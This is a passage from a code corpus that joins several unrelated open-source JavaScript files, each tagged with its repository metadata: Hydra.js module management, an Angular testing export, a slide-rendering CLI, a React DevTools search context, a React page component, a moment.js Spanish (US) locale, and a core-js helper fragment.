aMappings = aMappings.concat((namespace !== root? [namespace, root] : [root]));
for(nDependency = 0; nDependency < nLenDependencies; nDependency++){
sDependency = aDependencies[nDependency];
if(!isTypeOf(sDependency, 'string')){
aFinalDependencies[nDependency] = sDependency;
continue;
}
for(nMapping = 0; nMapping < nLenMappings; nMapping++){
oMap = aMappings[nMapping];
if(oMap[sDependency])
{
aFinalDependencies[nDependency] = oMap[sDependency];
break;
}
}
if(aFinalDependencies[nDependency] === und){
aFinalDependencies[nDependency] = null;
}
}
return aFinalDependencies;
}
/**
* Add common properties and methods to avoid repeating code in modules
* @param {String} sModuleId
* @param {Array} aDependencies
* @private
*/
function addPropertiesAndMethodsToModule(sModuleId, aDependencies) {
var oModule,
fpInitProxy;
oModule = oModules[sModuleId].creator.apply(oModules[sModuleId], dependencyInjector(sModuleId, aDependencies));
oModule.__module_id__ = sModuleId;
fpInitProxy = oModule.init || nullFunc;
// Provide compatibility with old versions of Hydra.js
oModule.__action__ = oModule.__sandbox__ = Bus;
oModule.events = oModule.events || {};
oModule.init = function () {
var aArgs = slice(arguments, 0).concat(oVars);
Bus.subscribe(oModule);
return fpInitProxy.apply(this, aArgs);
};
oModule.handleAction = function (oNotifier) {
var fpCallback = this.events[oNotifier.type];
if (isTypeOf(fpCallback, sNotDefined)) {
return;
}
fpCallback.call(this, oNotifier);
};
// Provide compatibility with old Hydra versions which used to use "destroy" as onDestroy hook.
oModule.onDestroy = oModule.onDestroy || oModule.destroy || function () {
};
oModule.destroy = function () {
this.onDestroy();
Bus.unsubscribe(oModule);
delete oModules[sModuleId].instances[oModule.__instance_id__];
};
return oModule;
}
/**
* createInstance is the method that will create the module instance and wrap the method if needed.
* @param {String} sModuleId
* @param {Array} aDependencies
* @return {Module} Module instance
* @private
*/
function createInstance(sModuleId, aDependencies) {
var oInstance, sName;
if (isTypeOf(oModules[sModuleId], sNotDefined)) {
fpThrowErrorModuleNotRegistered(sModuleId, _true_);
}
oInstance = addPropertiesAndMethodsToModule(sModuleId, aDependencies);
if (!bDebug) {
for (sName in oInstance) {
if (ownProp(oInstance, sName) && isFunction(oInstance[sName])) {
wrapMethod(oInstance, sName, sModuleId, oInstance[sName]);
}
}
}
return oInstance;
}
/**
* Simple object to abstract the error handler, the most basic is to be the console object
* @type {Object|*}
* @private
*/
ErrorHandler = root.console || {
log: function () {
},
error: function () {
}
};
/**
* Class to manage the modules.
* @constructor
* @class Module
* @name Module
* @private
*/
Module = function () {
this.__super__ = {};
this.instances = {};
};
/**
* Module Prototype
* @member Module
* @type {{type: string, getInstance: Function, oModifyInit: {}, register: Function, _setSuper: Function, _callInSuper: Function, _mergeModuleExtended: Function, _mergeModuleBase: Function, _merge: Function, extend: Function, setInstance: Function, setVars: Function, getVars: Function, _multiModuleStart: Function, _singleModuleStart: Function, start: Function, isModuleStarted: Function, startAll: Function, _multiModuleStop: Function, _singleModuleStop: Function, stop: Function, _stopOneByOne: Function, stopAll: Function, _delete: Function, remove: Function}}
*/
Module.prototype = {
/**
* type is a property to be able to know the class type.
* @member Module.prototype
* @type {String}
*/
type: 'Module',
/**
* Wrapper to use createInstance for plugins if needed.
* @member Module.prototype
* @type {Function}
*/
getInstance: createInstance,
/**
* oModifyInit is an object where save the extensions to modify the init function to use by extensions.
* @member Module.prototype
* @type {Object}
*/
oModifyInit: {},
/**
* register is the method that will add the new module to the oModules object.
* sModuleId will be the key where it will be stored.
* @member Module.prototype
* @param {String} sModuleId
* @param {Array} aDependencies
* @param {Function | *} fpCreator
* @return {Module
*/
register: function (sModuleId, aDependencies, fpCreator) {
if(isFunction(aDependencies)){
fpCreator = aDependencies;
aDependencies = [ Bus, Hydra.module, ErrorHandler, Hydra ];
}
oModules[sModuleId] = new FakeModule(sModuleId, fpCreator);
oModules[sModuleId].dependencies = aDependencies;
return oModules[sModuleId];
},
/**
* _setSuper add the __super__ support to access to the methods in parent module.
* @member Module.prototype
* @param {Object} oFinalModule
* @param {Object} oModuleBase
* @private
*/
_setSuper: function (oFinalModule, oModuleBase) {
oFinalModule.__super__ = {};
oFinalModule.__super__.__instance__ = oModuleBase;
oFinalModule.__super__.__call__ = function (sKey, aArgs) {
var oObject = this;
while (ownProp(oObject, sKey) === _false_) {
oObject = oObject.__instance__.__super__;
}
return oObject[sKey].apply(oFinalModule, aArgs);
};
},
/**
* Callback that is used to call the methods in parent module.
* @member Module.prototype
* @param {Function} fpCallback
* @return {Function}
* @private
*/
_callInSuper: function (fpCallback) {
return function () {
var aArgs = slice(arguments, 0);
fpCallback.apply(this, aArgs);
};
},
/**
* Adds the extended properties and methods to final module.
* @member Module.prototype
* @param {Object} oFinalModule
* @param {Object} oModuleExtended
* @private
*/
_mergeModuleExtended: function (oFinalModule, oModuleExtended) {
var sKey;
for (sKey in oModuleExtended) {
if (ownProp(oModuleExtended, sKey)) {
if (!isTypeOf(oFinalModule.__super__, sNotDefined) && isFunction(oFinalModule[sKey])) {
oFinalModule.__super__[sKey] = (this._callInSuper(oFinalModule[sKey]));
}
oFinalModule[sKey] = oModuleExtended[sKey];
}
}
},
/**
* Adds the base properties and methods to final module.
* @member Module.prototype
* @param {Object} oFinalModule
* @param {Object} oModuleBase
* @private
*/
_mergeModuleBase: function (oFinalModule, oModuleBase) {
var sKey;
for (sKey in oModuleBase) {
if (ownProp(oModuleBase, sKey)) {
if (sKey !== '__super__') {
oFinalModule[sKey] = oModuleBase[sKey];
}
}
}
},
/**
* _merge is the method that gets the base module and the extended and returns the merge of them
* @member Module.prototype
* @param {Object} oModuleBase
* @param {Object} oModuleExtended
* @return {Object}
* @private
*/
_merge: function (oModuleBase, oModuleExtended) {
var oFinalModule = {};
this._setSuper(oFinalModule, oModuleBase);
this._mergeModuleBase(oFinalModule, oModuleBase);
this._mergeModuleExtended(oFinalModule, oModuleExtended);
return oFinalModule;
},
/**
* Method to set an instance of a module
* @member Module.prototype
* @param {String} sModuleId
* @param {String} sIdInstance
* @param {Module} oInstance
* @return {Module}
*/
setInstance: function (sModuleId, sIdInstance, oInstance) {
var oModule = oModules[sModuleId];
if (!oModule) {
fpThrowErrorModuleNotRegistered(sModuleId, _true_);
}
oModule.instances[sIdInstance] = oInstance;
return oModule;
},
/**
* Sets an object of vars and add it's content to oVars private variable
* @member Module.prototype
* @param {Object} oVar
*/
setVars: function (oVar) {
if (!isTypeOf(oVars, sNotDefined)) {
oVars = simpleMerge(oVars, oVar);
}
else {
oVars = oVar;
}
},
/**
* Reset the vars object
* @member Module.prototype
*/
resetVars: function(){
oVars = {};
},
/**
* Returns the private vars object by copy.
* @member Module.prototype
* @return {Object} global vars.
*/
getVars: function () {
return simpleMerge({}, oVars);
},
/**
* start more than one module at the same time.
* @member Module.prototype
* @param {Array<String>} aModulesIds
* @param {String} sIdInstance
* @param {Object} oData
* @param {Boolean} bSingle
* @private
*/
_multiModuleStart: function (aModulesIds, sIdInstance, oData, bSingle) {
var aInstancesIds, aData, aSingle, nIndex, nLenModules, sModuleId;
if (isArray(sIdInstance)) {
aInstancesIds = sIdInstance.slice(0);
}
if (isArray(oData)) {
aData = oData.slice(0);
}
if (isArray(bSingle)) {
aSingle = bSingle.slice(0);
}
for (nIndex = 0, nLenModules = aModulesIds.length; nIndex < nLenModules; nIndex++) {
sModuleId = aModulesIds[nIndex];
sIdInstance = aInstancesIds && aInstancesIds[nIndex] || generateUniqueKey();
oData = aData && aData[nIndex] || oData;
bSingle = aSingle && aSingle[nIndex] || bSingle;
startSingleModule(this, sModuleId, sIdInstance, oData, bSingle);
}
},
/**
* Start only one module.
* @member Module.prototype
* @param {String} sModuleId
* @param {String} sIdInstance
* @param {Object} oData
* @param {Boolean|*} bSingle
* @private
*/
_singleModuleStart: function (sModuleId, sIdInstance, oData, bSingle) {
if (!isTypeOf(sIdInstance, 'string')) {
bSingle = oData;
oData = sIdInstance;
sIdInstance = generateUniqueKey();
}
startSingleModule(this, sModuleId, sIdInstance, oData, bSingle);
},
/**
* start is the method that initialize the module/s
* If you use array instead of arrays you can start more than one module even adding the instance, the data and if it must be executed
* as single module start.
* @member Module.prototype
* @param {String|Array} oModuleId
* @param {String|Array} oIdInstance
* @param {Object|Array} oData
* @param {Boolean|Array} oSingle
*/
start: function (oModuleId, oIdInstance, oData, oSingle) {
var bStartMultipleModules = isArray(oModuleId);
if (bStartMultipleModules) {
this._multiModuleStart(oModuleId.slice(0), oIdInstance, oData, oSingle);
}
else {
this._singleModuleStart(oModuleId, oIdInstance, oData, oSingle);
}
},
/**
* Method to extend modules using inheritance or decoration pattern
* @param sBaseModule
* @param sModuleDecorated
* @param aDependencies
* @param fpDecorator
* @returns {null}
*/
extend: function (sBaseModule, sModuleDecorated, aDependencies, fpDecorator) {
var oModule = oModules[sBaseModule], oDecorated, oInstance;
if (!oModule) {
ErrorHandler.log(fpThrowErrorModuleNotRegistered(sBaseModule));
return _null_;
}
oInstance = createInstance(sBaseModule);
if (isTypeOf(sModuleDecorated, sFunctionType)) {
fpDecorator = sModuleDecorated;
sModuleDecorated = sBaseModule;
aDependencies = [Bus, Hydra.module, Hydra.errorHandler(), Hydra];
}
if (isTypeOf(aDependencies, sFunctionType)){
fpDecorator = aDependencies;
aDependencies = [Bus, Hydra.module, Hydra.errorHandler(), Hydra];
}
aDependencies.push(oInstance);
oDecorated = fpDecorator.apply(fpDecorator, aDependencies);
oModules[sModuleDecorated] = new FakeModule(sModuleDecorated, function () {
// If we extend the module with the different name, we
// create proxy class for the original methods.
var oMerge = {};
oMerge = simpleMerge(oMerge, oInstance);
oMerge = simpleMerge(oMerge, oDecorated);
oMerge = simpleMerge(oMerge, {
__super__: {
__call__: function (sKey, aArgs) {
return oInstance[sKey].apply(oInstance, aArgs);
}
}
});
return oMerge;
});
oModules[sModuleDecorated].dependencies = aDependencies;
return oModules[sModuleDecorated];
},
/**
* Alias decorate to extend modules.
* @returns {Module}
*/
decorate: function () {
return this.extend.apply(this, arguments);
},
/**
* Checks if module was already successfully started
* @member Module.prototype
* @param {String} sModuleId Name of the module
* @param {String} sInstanceId Id of the instance
* @return {Boolean}
*/
isModuleStarted: function (sModuleId, sInstanceId) {
var bStarted = _false_;
if (isTypeOf(sInstanceId, sNotDefined)) {
bStarted = ( !isTypeOf(oModules[sModuleId], sNotDefined) && getObjectLength(oModules[sModuleId].instances) > 0 );
}
else {
bStarted = ( !isTypeOf(oModules[sModuleId], sNotDefined) && !isTypeOf(oModules[sModuleId].instances[sInstanceId], sNotDefined) );
}
return bStarted;
},
/**
* startAll is the method that will initialize all the registered modules.
* @member Module.prototype
*/
startAll: function () {
var sModuleId, oModule;
for (sModuleId in oModules) {
if (ownProp(oModules, sModuleId)) {
oModule = oModules[sModuleId];
if (!isTypeOf(oModule, sNotDefined)) {
this.start(sModuleId, generateUniqueKey());
}
}
}
},
/**
* stop more than one module at the same time.
* @member Module.prototype
* @param {Module} oModule
* @private
*/
_multiModuleStop: function (oModule) {
var sKey,
oInstances = oModule.instances,
oInstance;
for (sKey in oInstances) {
if (ownProp(oInstances, sKey)) {
oInstance = oInstances[sKey];
if (!isTypeOf(oModule, sNotDefined) && !isTypeOf(oInstance, sNotDefined)) {
oInstance.destroy();
}
}
}
oModule.instances = {};
},
/**
* Stop only one module.
* @member Module.prototype
* @param {Module} oModule
* @param {String} sModuleId
* @param {String} sInstanceId
* @private
*/
_singleModuleStop: function (oModule, sModuleId, sInstanceId) {
var oInstance = oModule.instances[sInstanceId];
if (!isTypeOf(oModule, sNotDefined) && !isTypeOf(oInstance, sNotDefined)) {
oInstance.destroy();
delete oModule.instances[sInstanceId];
}
},
/**
* stop is the method that will finish the module if it was registered and started.
* When stop is called the module will call the destroy method and will nullify the instance.
* @member Module.prototype
* @param {String} sModuleId
* @param {String} sInstanceId
* @return {Boolean}
*/
stop: function (sModuleId, sInstanceId) {
var oModule;
oModule = oModules[sModuleId];
if (isTypeOf( oModule, sNotDefined)) {
return _false_;
}
if (!isTypeOf(sInstanceId, sNotDefined)) {
this._singleModuleStop(oModule, sModuleId, sInstanceId);
}
else {
this._multiModuleStop(oModule);
}
return _true_;
},
/**
* Loops over instances of modules to stop them.
* @member Module.prototype
* @param {Module} oInstances
* @param {String} sModuleId
* @private
*/
_stopOneByOne: function (oInstances, sModuleId) {
var sInstanceId;
for (sInstanceId in oInstances) {
if (ownProp(oInstances, sInstanceId)) {
this.stop(sModuleId, sInstanceId);
}
}
},
/**
* stopAll is the method that will finish all the registered and started modules.
* @member Module.prototype
*/
stopAll: function () {
var sModuleId;
for (sModuleId in oModules) {
if (ownProp(oModules, sModuleId) && !isTypeOf( oModules[sModuleId], sNotDefined)) {
this._stopOneByOne(oModules[sModuleId].instances, sModuleId);
}
}
},
/**
* _delete is a wrapper method that will call the native delete javascript function
* It's important to test the full code.
* @member Module.prototype
* @param {String} sModuleId
* @return {Boolean}
*/
_delete: function (sModuleId) {
if (!isTypeOf( oModules[sModuleId], sNotDefined)) {
delete oModules[sModuleId];
return _true_;
}
return _false_;
},
/**
* remove is the method that will remove the full module from the oModules object
* @member Module.prototype
* @param {String} sModuleId
* @return {Module|null}
*/
remove: function (sModuleId) {
var oModule = oModules[sModuleId];
if (isTypeOf(oModule,sNotDefined)) {
return _null_;
}
if (!isTypeOf(oModule, sNotDefined)) {
try {
return oModule;
}
finally {
this._delete(sModuleId);
}
}
return _null_;
}
};
/**
* getErrorHandler is a method to gain access to the private ErrorHandler constructor.
* @return {Object|Function} ErrorHandler class
* @private
*/
function getErrorHandler() {
return ErrorHandler;
}
/**
* setErrorHandler is a method to set the ErrorHandler to a new object to add more logging logic.
* @param {Object|Function} oErrorHandler
* @private
*/
function setErrorHandler(oErrorHandler) {
ErrorHandler = oErrorHandler;
}
/**
* Hydra is the api that will be available to use by developers
* @constructor
* @class Hydra
* @name Hydra
*/
Hydra = function () {
};
/**
* Version number of Hydra.
* @member Hydra
* @type {String}
* @static
*/
Hydra.version = sVersion;
/**
* bus is a singleton instance of the bus to subscribe and publish content in channels.
* @member Hydra
* @type {Object}
*/
Hydra.bus = Bus;
/**
* Returns the actual ErrorHandler
* @member Hydra
* @type {Function}
* @static
*/
Hydra.errorHandler = getErrorHandler;
/**
* Sets and overwrites the ErrorHandler object to log errors and messages
* @member Hydra
* @type {Function}
* @static
*/
Hydra.setErrorHandler = setErrorHandler;
/**
* Return a singleton of Module
* @member Hydra
* @type {Module}
* @static
*/
Hydra.module = new Module();
/**
* Change the unblock UI mode to on/off
* @Member Hydra
* @type {Function}
* @static
*/
Hydra.setUnblockUI = setUnblockUI;
/**
* Change the debug mode to on/off
* @member Hydra
* @type {Function}
* @static
*/
Hydra.setDebug = setDebug;
/**
* Get the debug status
* @member Hydra
* @type {Function}
* @static
*/
Hydra.getDebug = function () {
return bDebug;
};
/**
* Extends Hydra object with new functionality
* @member Hydra
* @param {String} sIdExtension
* @param {Object} oExtension
* @static
*/
Hydra.extend = function (sIdExtension, oExtension) {
if (isTypeOf(this[sIdExtension], sNotDefined)) {
this[sIdExtension] = oExtension;
}
else {
this[sIdExtension] = simpleMerge(this[sIdExtension], oExtension);
}
};
/**
* Adds an alias to parts of Hydra
* @member Hydra
* @param {String} sOldName
* @param {Object} oNewContext
* @param {String} sNewName
* @return {Boolean}
* @static
*/
Hydra.noConflict = function (sOldName, oNewContext, sNewName) {
if (!isTypeOf(this[sOldName], sNotDefined)) {
oNewContext[sNewName] = this[sOldName];
return _true_;
}
return _false_;
};
/**
* Merges an object to oModifyInit that will be executed before executing the init.
* {
* 'property_in_module_to_check': function(oModule){} // Callback to execute if the property exist
* }
* @type {Function}
* @param {Object} oVar
*/
Hydra.addExtensionBeforeInit = function (oVar) {
Hydra.module.oModifyInit = simpleMerge(Hydra.module.oModifyInit, oVar);
};
/**
* To be used about extension, it will return a deep copy of the Modules object to avoid modifying the original
* object.
* @returns {Object}
*/
Hydra.getCopyModules = function () {
return clone(oModules);
};
/**
* To be used about extension, it will return a deep copy of the Channels object to avoid modifying the original
* object.
* @returns {Object}
*/
Hydra.getCopyChannels = function () {
return clone(oChannels);
};
/**
* Sets the global namespace
* @param nsp
*/
Hydra.setNamespace = function(nsp)
{
namespace = nsp;
};
/**
* Module to be stored, adds two methods to start and extend modules.
* @param {String} sModuleId
* @param {Function} fpCreator
* @constructor
* @class FakeModule
* @name FakeModule
* @private
*/
FakeModule = function (sModuleId, fpCreator) {
if (isTypeOf(fpCreator, sNotDefined)) {
throw new Err('Something goes wrong!');
}
this.creator = fpCreator;
this.instances = {};
this.sModuleId = sModuleId;
};
/**
* FakeModule Prototype
* @type {{start: Function, extend: Function, stop: Function}}
*/
FakeModule.prototype = {
/**
* Wraps the module start
* @param {Object} oData
* @returns {FakeModule}
*/
start: function (oData) {
Hydra.module.start(this.sModuleId, oData);
return this;
},
/**
* Wraps the module extend
* @param {Module} oSecondParameter
* @param {Module} oThirdParameter
* @returns {FakeModule}
*/
extend: function (oSecondParameter, oThirdParameter) {
Hydra.module.extend(this.sModuleId, oSecondParameter, oThirdParameter);
return this;
},
/**
* Wraps the module stop
* @returns {FakeModule}
*/
stop: function () {
Hydra.module.stop(this.sModuleId);
return this;
}
};
/*
* Expose Hydra to be used in node.js, as AMD module or as global
*/
root.Hydra = Hydra;
if (isNodeEnvironment) {
module.exports = Hydra;
}
else if (typeof define !== sNotDefined) {
define('hydra', [], function () {
return Hydra;
});
}
}.call(this)); | tcorral/Hydra.js | versions/hydra.js | JavaScript | mit | 42,822 |
/**
* @fileoverview added by tsickle
* @suppress {checkTypes,extraRequire,uselessCode} checked by tsc
*/
export { MockAnimationDriver, MockAnimationPlayer } from './mock_animation_driver';
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoidGVzdGluZy5qcyIsInNvdXJjZVJvb3QiOiIiLCJzb3VyY2VzIjpbIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3BhY2thZ2VzL2FuaW1hdGlvbnMvYnJvd3Nlci90ZXN0aW5nL3NyYy90ZXN0aW5nLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7Ozs7QUFPQSxPQUFPLEVBQUMsbUJBQW1CLEVBQUUsbUJBQW1CLEVBQUMsTUFBTSx5QkFBeUIsQ0FBQyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogQGxpY2Vuc2VcbiAqIENvcHlyaWdodCBHb29nbGUgSW5jLiBBbGwgUmlnaHRzIFJlc2VydmVkLlxuICpcbiAqIFVzZSBvZiB0aGlzIHNvdXJjZSBjb2RlIGlzIGdvdmVybmVkIGJ5IGFuIE1JVC1zdHlsZSBsaWNlbnNlIHRoYXQgY2FuIGJlXG4gKiBmb3VuZCBpbiB0aGUgTElDRU5TRSBmaWxlIGF0IGh0dHBzOi8vYW5ndWxhci5pby9saWNlbnNlXG4gKi9cbmV4cG9ydCB7TW9ja0FuaW1hdGlvbkRyaXZlciwgTW9ja0FuaW1hdGlvblBsYXllcn0gZnJvbSAnLi9tb2NrX2FuaW1hdGlvbl9kcml2ZXInO1xuIl19 | friendsofagape/mt2414ui | node_modules/@angular/animations/esm2015/browser/testing/src/testing.js | JavaScript | mit | 959 |
var argv = require('minimist')(process.argv.slice(2));
var fs = require('fs');
var renderSlides = require('./src/render-slides');
// Set up a watcher for continuous slide rendering
if (argv.w) {
var args = process.argv.slice(2);
var i = args.indexOf('-w');
args = args.slice(0, i).concat(args.slice(i+1));
require('node-watch')(['slides.tmpl.md', 'src', 'examples'], function(file) {
console.error('Re-render after change to ' + file);
require('child_process').fork(process.argv[1], args);
});
}
var resultHandler = argv.o ? fs.writeFile.bind(fs, argv.o) : console.log.bind(console);
if (argv['-']) { // Use --- cli arg to recieve template from stdin
process.stdin.pipe(require('concat-stream')({encoding: 'string'}, function (data) {
renderSlides(data, urlResolver).then(resultHandler);
}));
} else {
var input = argv.i;
fs.readFile(input, {encoding : 'utf-8'}, function(err, data) {
renderSlides(data, urlResolver).then(resultHandler);
});
}
function urlResolver(url, callback) {
fs.readFile(url, {encoding : 'utf-8'}, callback);
}
| PeterHancock/node-js-intro | render.js | JavaScript | mit | 1,114 |
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
*/
import * as React from 'react';
import {createContext, useMemo, useReducer} from 'react';
import type {ReactComponentMeasure, TimelineData, ViewState} from './types';
type State = {|
profilerData: TimelineData,
searchIndex: number,
searchRegExp: RegExp | null,
searchResults: Array<ReactComponentMeasure>,
searchText: string,
|};
type ACTION_GO_TO_NEXT_SEARCH_RESULT = {|
type: 'GO_TO_NEXT_SEARCH_RESULT',
|};
type ACTION_GO_TO_PREVIOUS_SEARCH_RESULT = {|
type: 'GO_TO_PREVIOUS_SEARCH_RESULT',
|};
type ACTION_SET_SEARCH_TEXT = {|
type: 'SET_SEARCH_TEXT',
payload: string,
|};
type Action =
| ACTION_GO_TO_NEXT_SEARCH_RESULT
| ACTION_GO_TO_PREVIOUS_SEARCH_RESULT
| ACTION_SET_SEARCH_TEXT;
type Dispatch = (action: Action) => void;
const EMPTY_ARRAY = [];
function reducer(state: State, action: Action): State {
let {searchIndex, searchRegExp, searchResults, searchText} = state;
switch (action.type) {
case 'GO_TO_NEXT_SEARCH_RESULT':
if (searchResults.length > 0) {
if (searchIndex === -1 || searchIndex + 1 === searchResults.length) {
searchIndex = 0;
} else {
searchIndex++;
}
}
break;
case 'GO_TO_PREVIOUS_SEARCH_RESULT':
if (searchResults.length > 0) {
if (searchIndex === -1 || searchIndex === 0) {
searchIndex = searchResults.length - 1;
} else {
searchIndex--;
}
}
break;
case 'SET_SEARCH_TEXT':
searchText = action.payload;
searchRegExp = null;
searchResults = [];
if (searchText !== '') {
const safeSearchText = searchText.replace(
/[.*+?^${}()|[\]\\]/g,
'\\$&',
);
searchRegExp = new RegExp(`^${safeSearchText}`, 'i');
// If something is zoomed in on already, and the new search still contains it,
// don't change the selection (even if overall search results set changes).
let prevSelectedMeasure = null;
if (searchIndex >= 0 && searchResults.length > searchIndex) {
prevSelectedMeasure = searchResults[searchIndex];
}
const componentMeasures = state.profilerData.componentMeasures;
let prevSelectedMeasureIndex = -1;
for (let i = 0; i < componentMeasures.length; i++) {
const componentMeasure = componentMeasures[i];
if (componentMeasure.componentName.match(searchRegExp)) {
searchResults.push(componentMeasure);
if (componentMeasure === prevSelectedMeasure) {
prevSelectedMeasureIndex = searchResults.length - 1;
}
}
}
searchIndex =
prevSelectedMeasureIndex >= 0 ? prevSelectedMeasureIndex : 0;
}
break;
}
return {
profilerData: state.profilerData,
searchIndex,
searchRegExp,
searchResults,
searchText,
};
}
export type Context = {|
profilerData: TimelineData,
// Search state
dispatch: Dispatch,
searchIndex: number,
searchRegExp: null,
searchResults: Array<ReactComponentMeasure>,
searchText: string,
|};
const TimelineSearchContext = createContext<Context>(((null: any): Context));
TimelineSearchContext.displayName = 'TimelineSearchContext';
type Props = {|
children: React$Node,
profilerData: TimelineData,
viewState: ViewState,
|};
function TimelineSearchContextController({
children,
profilerData,
viewState,
}: Props) {
const [state, dispatch] = useReducer<State, State, Action>(reducer, {
profilerData,
searchIndex: -1,
searchRegExp: null,
searchResults: EMPTY_ARRAY,
searchText: '',
});
const value = useMemo(
() => ({
...state,
dispatch,
}),
[state],
);
return (
<TimelineSearchContext.Provider value={value}>
{children}
</TimelineSearchContext.Provider>
);
}
export {TimelineSearchContext, TimelineSearchContextController};
| facebook/react | packages/react-devtools-timeline/src/TimelineSearchContext.js | JavaScript | mit | 4,122 |
import log from '../../log'
import React, {
Component, PropTypes
}
from 'react'
import {
Link
}
from 'react-router'
import {
JumbotronWidget, DestinationPostFormWidget
}
from '../../components/index'
import {
DestinationPost as appConfig
}
from '../../config/appConfig'
import {
postDestination
}
from '../../redux/apiIndex'
import store from '../../redux/store'
import {
connect
}
from 'react-redux'
import {
Alert
}
from 'react-bootstrap'
function mapStateToProps(state) {
return {
username: state.appState.get('username')
}
}
@
connect(mapStateToProps)
export default class DestinationPost extends Component {
constructor(props) {
super(props)
this.state = {
alert: {
type: 'danger',
title: '',
message: ''
}
}
}
componentDidMount() {
// demo for posting data and deleting data
// postDestination().then(data => log.info('posted', data))
// deleteDestinationById(55).then(data => log.info('posted', data))
}
handleSubmit(data) {
log.info('posting data from form', data)
store.dispatch(postDestination(data))
this.setAlert('success', 'Successfully submitted data', `${data.destinationName} ${data.destinationDescription}`)
}
setAlert(type = 'success', title = '', message = '') {
this.setState({
alert: {
type: type,
title: title,
message: message
}
})
}
handleAlertDismiss() {
this.setAlert()
}
render() {
const {
type, title, message
} = this.state.alert
return (
<div id="destination-post-page">
<JumbotronWidget title={appConfig.title} subTitle={appConfig.subTitle}/>
<div className="container main-content-container">
<div className="col-sm-12 col-md-8 col-md-offset-2 content-container">
{title !== '' &&
<Alert bsStyle={type} dismissAfter={3000} onDismiss={this.handleAlertDismiss.bind(this)}>
<h4>{title}</h4>
<p>{message}</p>
</Alert>
}
<div className="pull-right">
<Link className="btn btn-primary" to='admin/destination'>Manage Destinations</Link>
</div>
<h3>{appConfig.formTitle}</h3>
<DestinationPostFormWidget onSubmit={this.handleSubmit.bind(this)} />
</div>
</div>
</div>
)
}
}
DestinationPost.propTypes = {
postDestination: PropTypes.func.isRequired
}
DestinationPost.displayName = 'DestinationPost Page'
| vidaaudrey/trippian | src/client/containers/DestinationPost/DestinationPost.js | JavaScript | mit | 2,529 |
export {default} from './SideBar.js';
| nirhart/wix-style-react | src/SideBar/index.js | JavaScript | mit | 38 |
import { c as createCommonjsModule, a as commonjsRequire, b as moment, d as commonjsGlobal } from './moment-4505622d.js';
var esUs = createCommonjsModule(function (module, exports) {
(function (global, factory) {
typeof commonjsRequire === 'function' ? factory(moment) :
factory(global.moment);
}(commonjsGlobal, (function (moment) {
//! moment.js locale configuration
var monthsShortDot = 'ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.'.split(
'_'
),
monthsShort = 'ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic'.split('_'),
monthsParse = [
/^ene/i,
/^feb/i,
/^mar/i,
/^abr/i,
/^may/i,
/^jun/i,
/^jul/i,
/^ago/i,
/^sep/i,
/^oct/i,
/^nov/i,
/^dic/i,
],
monthsRegex = /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;
var esUs = moment.defineLocale('es-us', {
months: 'enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre'.split(
'_'
),
monthsShort: function (m, format) {
if (!m) {
return monthsShortDot;
} else if (/-MMM-/.test(format)) {
return monthsShort[m.month()];
} else {
return monthsShortDot[m.month()];
}
},
monthsRegex: monthsRegex,
monthsShortRegex: monthsRegex,
monthsStrictRegex: /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,
monthsShortStrictRegex: /^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,
monthsParse: monthsParse,
longMonthsParse: monthsParse,
shortMonthsParse: monthsParse,
weekdays: 'domingo_lunes_martes_miércoles_jueves_viernes_sábado'.split('_'),
weekdaysShort: 'dom._lun._mar._mié._jue._vie._sáb.'.split('_'),
weekdaysMin: 'do_lu_ma_mi_ju_vi_sá'.split('_'),
weekdaysParseExact: true,
longDateFormat: {
LT: 'h:mm A',
LTS: 'h:mm:ss A',
L: 'MM/DD/YYYY',
LL: 'D [de] MMMM [de] YYYY',
LLL: 'D [de] MMMM [de] YYYY h:mm A',
LLLL: 'dddd, D [de] MMMM [de] YYYY h:mm A',
},
calendar: {
sameDay: function () {
return '[hoy a la' + (this.hours() !== 1 ? 's' : '') + '] LT';
},
nextDay: function () {
return '[mañana a la' + (this.hours() !== 1 ? 's' : '') + '] LT';
},
nextWeek: function () {
return 'dddd [a la' + (this.hours() !== 1 ? 's' : '') + '] LT';
},
lastDay: function () {
return '[ayer a la' + (this.hours() !== 1 ? 's' : '') + '] LT';
},
lastWeek: function () {
return (
'[el] dddd [pasado a la' +
(this.hours() !== 1 ? 's' : '') +
'] LT'
);
},
sameElse: 'L',
},
relativeTime: {
future: 'en %s',
past: 'hace %s',
s: 'unos segundos',
ss: '%d segundos',
m: 'un minuto',
mm: '%d minutos',
h: 'una hora',
hh: '%d horas',
d: 'un día',
dd: '%d días',
w: 'una semana',
ww: '%d semanas',
M: 'un mes',
MM: '%d meses',
y: 'un año',
yy: '%d años',
},
dayOfMonthOrdinalParse: /\d{1,2}º/,
ordinal: '%dº',
week: {
dow: 0, // Sunday is the first day of the week.
doy: 6, // The week that contains Jan 6th is the first week of the year.
},
});
return esUs;
})));
});
var esUs$1 = /*#__PURE__*/Object.freeze(/*#__PURE__*/Object.assign(/*#__PURE__*/Object.create(null), esUs, {
'default': esUs
}));
export { esUs$1 as e };
| ycabon/presentations | 2021-devsummit/ArcGIS-API-for-JavaScript-Road-Ahead/demos/dist/es-us-83f8e361.js | JavaScript | mit | 4,239 |
/* */
var global = require("./$.global"),
core = require("./$.core"),
ctx = require("./$.ctx"),
PROTOTYPE = 'prototype';
var $export = function(type, name, source) {
var IS_FORCED = type & $export.F,
IS_GLOBAL = type & $export.G,
IS_STATIC = type & $export.S,
IS_PROTO = type & $export.P,
IS_BIND = type & $export.B,
IS_WRAP = type & $export.W,
exports = IS_GLOBAL ? core : core[name] || (core[name] = {}),
